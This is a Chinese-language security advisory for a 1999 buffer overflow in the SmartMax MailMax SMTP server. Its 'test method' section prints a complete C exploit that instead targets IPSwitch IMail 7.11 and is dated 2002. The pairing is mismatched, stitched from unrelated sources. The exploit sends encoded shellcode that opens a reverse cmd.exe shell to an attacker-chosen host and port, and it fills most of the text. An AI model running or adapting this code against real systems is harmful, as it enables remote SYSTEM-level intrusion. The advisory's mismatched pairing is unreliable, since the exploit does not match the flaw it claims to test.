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安全漏洞
SmartMax MailMax SMTP缓冲区溢出漏洞

发布日期:1999-02-13
更新日期:2001-01-29

受影响系统:
SmartMax Software MailMax 1.0
    - Microsoft Windows NT 4.0
    - Microsoft Windows 98 SE
    - Microsoft Windows 95
描述:
BUGTRAQ  ID: 2312
CVE(CAN) ID: CVE-1999-0404

Smartmax MailMax是一个Windows 95/98/NT环境下的SMTP服务器。

处理SMTP命令的进程函数存在缓冲区溢出漏洞。远程攻击者可以利用该漏洞以SMTP服务进程的权限执行任意指令。

<*来源:pw (pw@nacs.net
  
  链接:http://archives.neohapsis.com/archives/bugtraq/1999_1/0699.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

pw(pw@nacs.net) 提供了如下测试程序:

/*
        imailexp.c
        July 25th, 2002


        IPSwitch IMail 7.11 remote 'SYSTEM' exploit


        there is an overflow in the GET parameter under the HTTP/1.0
        specification in the Web Messaging daemon in all IMail versions
        to date


        <96 bytes><EBP><EIP>
        
        since none of the registers point to our payload on ret some
        trickery was necessary to hit our payload in a dynamic way,
        but nothing difficult..


        execution flow:
        eip overran, ret (esp-4) -> land at pop ebx, ret10 (esp-18) -> call esp
        reach corrupted payload


        preserve esp -> sub esp -> jmp esp
        preserve esp, and jump to good payload


        recover esp -> execute shell
        let shit fly


        "In 1995, Ipswitch released IMail Server, the first commercial NT Mail Server.
        Seven years later there are over 49 million users of IMail worldwide.


        IMail Server 7.1
        Greater security, improved usability, and new revenue opportunities for service
        providers."


        7 years in development, 20 minutes of BuffSex v0.3(tm), 4 remote 'root' holes


        2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/errno.h>
#include <unistd.h>


// dark spyrit's shell as per usual.. queerly modified to call ExitThread
// yet again.. all that shit on top is to get us home
unsigned char payload[] =
"\x47\x45\x54\x20\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x24\x01\x10\x90\x90\x90\x90\x13\xf7\x02\x10"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x8b\xfc\x81\xc4\x11\x11\x11\x11\x81\xec"
"\x50\xdd\x10\x11\xff\xe4\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x8b\xe7\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90"
"\x8b\xc5\x33\xc9\x66\xb9\xdb\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95"
"\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95"
"\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"
"\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa"
"\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91"
"\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6"
"\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56"
"\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55"
"\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95"
"\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95"
"\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5"
"\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18"
"\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a"
"\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14"
"\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\xc5\x18\xd2"
"\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14"
"\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2"
"\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd"
"\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3f\x95\x95\x95\xa6\x55\xc5"
"\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d"
"\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x80\x26\x52\xd2\x91\x55\x3d\x95\x94"
"\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3"
"\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15"
"\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a"
"\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0"
"\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd"
"\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1"
"\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e"
"\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc3\x98\xa6\x55\x39\x10\x55\xe0\x6c\xc4"
"\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6"
"\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7"
"\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6"
"\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0"
"\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1"
"\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2"
"\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95"
"\xc6\xf9\xf0\xf0\xe5\x95\xed\xed\xed\xed\xed\xed\xed\xed\xed\xed\xed\x95"
"\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6"
"\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0"
"\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb"
"\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb"
"\xf0\xed\xf0\x95\xc9\x1d\xdc\x95\x20\x48\x54\x54\x50\x2F\x31\x2E\x30\x0d"
"\x0a\x0d\x0a";


main(char argc, char **argv){
        unsigned long ah;
        unsigned short int ap;
        int fd, i;
        int bufsize = 1024;
        int *buffer = (int *)malloc(bufsize);
        struct sockaddr_in sin;
        struct hostent *he;
        struct in_addr in;


        printf("IMail 7.11 remote exploit (SYSTEM level)\n");
        printf("2c79cbe14ac7d0b8472d3f129fa1df55 (c79cbe14ac7d0b8472d3f129fa1df55@yahoo.com)\n\n");


        if (argc < 5){
                printf("usage: %s <targethost> <iwebport> <localhost> <localport>\n\n", argv[0]);
                printf("iwebport: IMail Web Messaging port (default 8383)\n\n");
                exit(-1);
        }


        ap = htons(atoi(argv[4]));
        ap ^= 0x9595;


        if ((he = gethostbyname(argv[3])) == 0){herror(argv[2]);exit(-1);}


        ah = *((unsigned long *)he->h_addr);
        ah ^= 0x95959595;
                                
        payload[747] = ((ap) & 0xff);
        payload[748] = ((ap >> 8) & 0xff);
        
        payload[752] = ((ah) & 0xff);
        payload[753] = ((ah >> 8) & 0xff);
        payload[754] = ((ah >> 16) & 0xff);
        payload[755] = ((ah >> 24) & 0xff);


        if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);}
        
        if ((he = gethostbyname(argv[1])) != NULL){memcpy (&in, he->h_addr, he->h_length);}
        else
        if ((inet_aton(argv[1], &in)) < 0){printf("unable to resolve host");exit(-1);}


        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = inet_addr(inet_ntoa(in));
        sin.sin_port = htons(atoi(argv[2]));
                
        printf("ret: 0x10012490 (IMailsec.dll v.2.6.17.28)\n\n");
        printf("connecting...");


        if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){perror("connection error");exit(-1);}
        
        printf("done.\n");
        
        sleep(1);
        
        printf("dumping payload...");
        if(write(fd, payload, strlen(payload)) < strlen(payload)){perror("write error");exit(-1);}
        printf("done.\n\n");


        printf("cmd.exe spawned to [%s:%s]\n\n", argv[3], argv[4]);
        
        close(fd);


}

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 暂时关闭Smartmax MailMax的SMTP服务,或者使用防火墙限制只允许可信用户的IP连接。

厂商补丁:

SmartMax Software
-----------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.smartmax.com

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